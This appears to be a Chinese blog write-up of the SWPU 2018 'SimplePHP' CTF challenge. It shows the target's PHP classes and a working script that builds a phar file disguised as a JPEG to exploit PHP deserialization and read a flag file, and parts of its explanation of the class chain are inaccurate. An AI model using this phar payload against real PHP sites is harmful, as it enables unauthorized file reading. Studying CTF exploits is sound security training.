[SWPU 2018]SimplePHP

[SWPU 2018]SimplePHP

打开靶机,发现有个查看文件的界面

查看file.php发现包含了function.php和class.php

function.php:

发现只允许特定的格式的文件上传

  • upload_file():文件上传的入口函数。调用 upload_file_check() 函数判断上传的文件是否为允许的类型,如果是,则调用 upload_file_do() 函数执行文件上传和保存操作。
  • upload_file_check():检查上传的文件类型是否合法。从 $_FILES 中获取上传的文件名,并提取文件后缀,判断后缀是否在允许的类型范围内。如果是,返回 true,否则返回 false
  • upload_file_do():在进行文件上传时,实际执行上传和保存文件的工作。首先根据上传的文件名和客户端 IP 地址生成文件名,然后将上传的文件拷贝到 upload/ 目录下,并以新的文件名进行保存。最后弹出一个提示框表示上传成功。

image-20230627210011502

class.php:

<?php 
class C1e4r 
{ 
  public $test; 
  public $str; 
  public function __construct($name) 
  { 
    $this->str = $name; 
  } 
  public function __destruct() 
  { 
    $this->test = $this->str; 
    echo $this->test; 
  } 
} 

class Show 
{ 
  public $source; 
  public $str; 
  public function __construct($file) 
  { 
    $this->source = $file;  //$this->source = phar://phar.jpg 
    echo $this->source; 
  } 
  public function __toString() 
  { 
    $content = $this->str['str']->source; 
    return $content; 
  } 
  public function __set($key,$value) 
  { 
    $this->$key = $value; 
  } 
  public function _show() 
  { 
    if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { 
      die('hacker!'); 
    } else { 
      highlight_file($this->source); 
    } 
     
  } 
  public function __wakeup() 
  { 
    if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { 
      echo "hacker~"; 
      $this->source = "index.php"; 
    } 
  } 
} 
class Test 
{ 
  public $file; 
  public $params; 
  public function __construct() 
  { 
    $this->params = array(); 
  } 
  public function __get($key) 
  { 
    return $this->get($key); 
  } 
  public function get($key) 
  { 
    if(isset($this->params[$key])) { 
      $value = $this->params[$key]; 
    } else { 
      $value = "index.php"; 
    } 
    return $this->file_get($value); 
  } 
  public function file_get($value) 
  { 
    $text = base64_encode(file_get_contents($value)); 
    return $text; 
  } 
} 
?>

在这些类之间,主要涉及如下的相互调用和传参逻辑:

  1. Show 类的构造函数接收一个参数 $file,并将其赋值给 $this->source

  2. $this->str 数组包含了一个键 'str',元素值为 C1e4r 类的一个对象的序列化字符串。

  3. Test 类的 $file 属性使用 $this->file_get($value) 方法获取 $value 的文件内容,其中 $value 内容来自 $this->params[$key]。当不存在 $this->params[$key] 的值时,默认设置其值为 "index.php"。因此,攻击者通过修改序列化数据中 $this->params[$key] 的值可以控制 Test 类的 $file 存储的文件内容。

  4. Show 类的 __wakeup() 方法中,根据预设的正则表达式判断 $this->source 是否合法。若果 $this->source 不合法,则将 $this->source 重设为 "index.php"。但这里的正则表达式不严谨,可绕过正则表达式对 $this->source 值的限制。

    payload:

    <?php
    class C1e4r
    {
        public $test;
        public $str;
        public function __construct()
        {
            $this->str = new Show();
        }
    
    }
    class Show
    {
        public $source;
        public $str;
        public function __construct()
        {
            $this->str=array('str'=>new Test());
        }
    
    
    }
    
    class Test
    {
        public $file;
        public $params;
        public function __construct()
        {
            $this->params = array('source'=>'/var/www/html/f1ag.php');
        }
    }
    
    $a=new C1e4r();
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER();?>");//设置sutb
    $phar->setMetadata($a);//将自定义的meta-data存入manifest
    $phar->addFromString("1.txt","123123>");//添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    @unlink('./phar.jpg');
    rename("./phar.phar","./phar.jpg");
    

    生成phar.jpg,并且上传

    image-20230627211449180

image-20230627211511138

使用phar协议读取5ca54c53471ab40bc0840bd9ba008e17.jpg base64解码后得到flag

image-20230627211628363

posted @ 2023-06-27 21:20  Magic水瓶  阅读(22)  评论(0)    收藏  举报